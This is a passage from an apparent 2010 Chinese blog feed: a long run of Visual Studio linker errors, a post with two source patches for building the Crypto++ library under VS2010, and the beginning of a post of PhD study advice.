		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(mqueue.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(queue.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(queue.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;cryptlib.lib(queue.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;libcpmtd.lib(syserror.obj) : error LNK2005: "public: __thiscall std::_Container_base12::_Container_base12(void)" (??0_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;libcpmtd.lib(syserror.obj) : error LNK2005: "public: __thiscall std::_Container_base12::~_Container_base12(void)" (??1_Container_base12@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;libcpmtd.lib(syserror.obj) : error LNK2005: "public: void __thiscall std::_Container_base12::_Orphan_all(void)" (?_Orphan_all@_Container_base12@std@@QAEXXZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;libcpmtd.lib(xlock.obj) : error LNK2005: "public: __thiscall std::_Lockit::_Lockit(int)" (??0_Lockit@std@@QAE@H@Z) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;libcpmtd.lib(xlock.obj) : error LNK2005: "public: __thiscall std::_Lockit::~_Lockit(void)" (??1_Lockit@std@@QAE@XZ) already defined in msvcprtd.lib(MSVCP100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(dbgheap.obj) : error LNK2005: __free_dbg already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(dbgheap.obj) : error LNK2005: __aligned_malloc already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(dbgheap.obj) : error LNK2005: __aligned_free already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(dbgheap.obj) : error LNK2005: __CrtSetCheckCount already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(setlocal.obj) : error LNK2005: __configthreadlocale already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(_ctype.obj) : error LNK2005: _isalpha already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(fflush.obj) : error LNK2005: _fflush already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(dbghook.obj) : error LNK2005: __crt_debugger_hook already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(invarg.obj) : error LNK2005: __invalid_parameter already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(invarg.obj) : error LNK2005: __invoke_watson already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(_file.obj) : error LNK2005: __lock_file already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(_file.obj) : error LNK2005: __unlock_file already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(mlock.obj) : error LNK2005: __lock already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(mlock.obj) : error LNK2005: __unlock already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0dat.obj) : error LNK2005: _exit already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0dat.obj) : error LNK2005: __exit already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0dat.obj) : error LNK2005: __cexit already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0dat.obj) : error LNK2005: __amsg_exit already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0dat.obj) : error LNK2005: __initterm_e already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(winxfltr.obj) : error LNK2005: __XcptFilter already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0.obj) : error LNK2005: _mainCRTStartup already defined in MSVCRTD.lib(crtexe.obj) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(errmode.obj) : error LNK2005: ___set_app_type already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0init.obj) : error LNK2005: ___xi_a already defined in MSVCRTD.lib(cinitexe.obj) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0init.obj) : error LNK2005: ___xi_z already defined in MSVCRTD.lib(cinitexe.obj) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0init.obj) : error LNK2005: ___xc_a already defined in MSVCRTD.lib(cinitexe.obj) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(crt0init.obj) : error LNK2005: ___xc_z already defined in MSVCRTD.lib(cinitexe.obj) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(hooks.obj) : error LNK2005: "void __cdecl terminate(void)" (?terminate@@YAXXZ) already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(dbgrptw.obj) : error LNK2005: __CrtDbgReportW already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:新宋体; font-size:9pt"&gt;1&amp;gt;LIBCMTD.lib(tolower.obj) : error LNK2005: _tolower already defined in MSVCRTD.lib(MSVCR100D.dll) &lt;/span&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;若使用的"cryptlib.lib"不是使用相同版本的Visual Studio生成的话，也会出现一些LNK错误。&lt;/span&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1788839.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/07/30/1788839.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/07/29/1787748.html</id><title type="text">Visual Studio 2010下生成Crypto++ lib</title><summary type="text">关键字：VS2010  Cryptopp  Crypto++ 5.6 build utility compile error Crypto++是一个密码学的SDK开发包，有关它的信息可以访问以下两个网...</summary><published>2010-07-29T03:48:00Z</published><updated>2010-07-29T03:48:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/07/29/1787748.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/07/29/1787748.html"/><content type="html">&lt;p&gt;&lt;span style="font-size: 14pt"&gt;关键字：VS2010 Cryptopp Crypto++ 5.6 build utility compile error &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;Crypto++是一个密码学的SDK开发包，有关它的信息可以访问以下两个网站： &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 22pt"&gt;&lt;a href="http://www.cryptopp.com/"&gt;&lt;span style="font-size: 14pt"&gt;http://www.cryptopp.com/&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: 14pt"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 22pt"&gt;&lt;a href="http://www.cryptopp.com/wiki/Main_Page" target="_blank"&gt;&lt;span style="font-size: 14pt"&gt;http://www.cryptopp.com/wiki/Main_Page&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: 14pt"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;但Crypto++ Library 5.6.0在VS2010下无法Build生成cryptlib.lib，编译链接时提示如下错误： &lt;/span&gt;&lt;/p&gt;  &lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;   &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2440: 'initializing' : cannot convert from 'int' to 'const unsigned char *' &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;C:\Program Files\Microsoft Visual Studio 10.0\VC\include\utility(163): error C2439: 'std::_Pair_base&amp;lt;_Ty1,_Ty2&amp;gt;::first' : member could not be initialized &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;zdeflate.cpp(390): error C2653: 'stdext' : is not a class or namespace name &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;zdeflate.cpp(394): error C2228: left of '.first' must have class/struct/union &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;span style="font-size: 9pt"&gt;1&amp;gt;zdeflate.cpp(394): error C3861: 'unchecked_mismatch': identifier not found &lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;找了很久，当时网上仅有一个地方给出了答案： &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 22pt"&gt;&lt;a href="http://groups.google.com/group/cryptopp-users/browse_thread/thread/714f3ec6287a50b1" target="_blank"&gt;&lt;span style="font-size: 14pt"&gt;http://groups.google.com/group/cryptopp-users/browse_thread/thread/714f3ec6287a50b1&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: 14pt"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;但这个网站不知什么原因在国内有些地方无法访问，通过部分代理（如&lt;a href="http://www.7daili.com/" target="_blank"&gt;http://www.7daili.com/&lt;/a&gt;）才能访问到，在这里做个总结，希望对大家能有所帮助。 &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;使用VS2010打开Crypto++ Library 5.6.0时，一定要从&amp;quot;cryptest.dsw&amp;quot;打开，VS2010通过自动转换（conversion）可以打开Solution，如果从&amp;quot;cryptest.sln&amp;quot;打开，VS2010转换成10.0的Solution会提示报错，并且无法使用工程，如下图： &lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: center"&gt;&lt;img alt="" src="http://images.cnblogs.com/cnblogs_com/cxun/072910_0348_VisualStudi1.png" width="901" height="778" /&gt;&lt;span style="font-size: 14pt"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;通过修改Crypto++ Library 5.6.0的2个地方，就可以解决以上问题，修改地方如下（红字为添加的代码）： &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;1. &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;文件：pubkey.h &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;行数：243 &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;原始代码：return HashIdentifier(NULL, 0); &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;修改代码：return HashIdentifier(&lt;span style="color: red"&gt;(const byte*)&lt;/span&gt;NULL, 0); &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;2. &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;文件：zdeflate.cpp &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;行数：389 &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;原始代码：#if defined(_STDEXT_BEGIN) &amp;amp;&amp;amp; !(defined(_MSC_VER) &amp;amp;&amp;amp; _MSC_VER &amp;lt; 1400) &amp;amp;&amp;amp; !defined(_STLPORT_VERSION) &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 14pt"&gt;&lt;span style="font-size: 14pt"&gt;修改代码：#if defined(_STDEXT_BEGIN) &amp;amp;&amp;amp; !(defined(_MSC_VER) &amp;amp;&amp;amp; &lt;span style="color: red"&gt;(&lt;/span&gt;_MSC_VER &amp;lt; 1400 &lt;span style="color: red"&gt;|| _MSC_VER &amp;gt;= 1600)&lt;/span&gt;) &amp;amp;&amp;amp; !defined(_STLPORT_VERSION) &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;然后，再重新build就可以成功生成cryptlib.lib了（Debug和Release下）。 &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 14pt"&gt;&lt;strong&gt;注意&lt;/strong&gt;：本文仅提供生成cryptlib.lib的方法，其它工程暂时无法在VS2010下成功编译链接。&lt;/span&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1787748.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/07/29/1787748.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/07/27/1786010.html</id><title type="text">如何做PHD (1)</title><summary type="text">做PHD两年了，经验不多，从朋友、导师、教授、名人得到的做PHD的经验却很宝贵，为了不让自己忘记，特此记录，希望对各位已经是PHD或即将成为PHD的朋友有所帮助。 1.多读文章 		做PHD与做硕士不一样，计算机的硕士一般要求动手能力强，能给导师干活，对硕士生将来的就业会有帮助。而博士生要求要有深厚的理论知识，对某一领域的来龙去脉要理解透彻，只有阅读大量的文献之后才有这样的积累，这时候再去写文章将...</summary><published>2010-07-27T06:37:00Z</published><updated>2010-07-27T06:37:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/07/27/1786010.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/07/27/1786010.html"/><content type="html">&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;做PHD两年了，经验不多，从朋友、导师、教授、名人得到的做PHD的经验却很宝贵，为了不让自己忘记，特此记录，希望对各位已经是PHD或即将成为PHD的朋友有所帮助。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&lt;strong&gt;1.多读文章 &lt;/strong&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;做PHD与做硕士不一样，计算机的硕士一般要求动手能力强，能给导师干活，对硕士生将来的就业会有帮助。而博士生要求要有深厚的理论知识，对某一领域的来龙去脉要理解透彻，只有阅读大量的文献之后才有这样的积累，这时候再去写文章将事半功倍。香港中文大学的一个PHD告诉我，会议的文章往往由于评审时间短，周期短，因此创新点较新颖，多读此类文章可以激发自己研究领域的新想法。期刊类的文章一般比会议的文章质量要高很多，但由于审核时间较长，周期长，文章内容就没有会议论文那么新颖。总之，多读一些文献。最好每读完一篇或一系列相关的文献后就总结一下，做成PPT与同学、导师演讲讨论，可以很快地提高自己的水平，最重要的是对将来博士答辩时是很必要的积累。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&lt;strong&gt;2.文献要读透 &lt;/strong&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;一位美国教授告诉我们，只读几篇文章收获不大，要把与此相关的文献都读完，然后再给导师演讲，这样才有质的提高，导师有问题问你时，你就不会说："啊，这个问题我也不清楚，我下来后再去查查。"一问三不知，应付性地 presentation 毫无意义，演讲完一周后肯定忘得一干二净。当读到一篇自己很感兴趣的论文时，可以通过参考文献、被引用的文献等地方查找相关的文章，全部读完。这样量变才能转化为质变。要达到通过一两句话就能把某个问题说清楚。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;要从最好的地方找文章读，什么infocom啊，mobicom啊等等。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&lt;strong&gt;3.关于写文章的一些见解 &lt;/strong&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;写英语文章时，一定要把每句话都追求到完美，让评审人找不到任何可挑剔的地方。 &#xD;
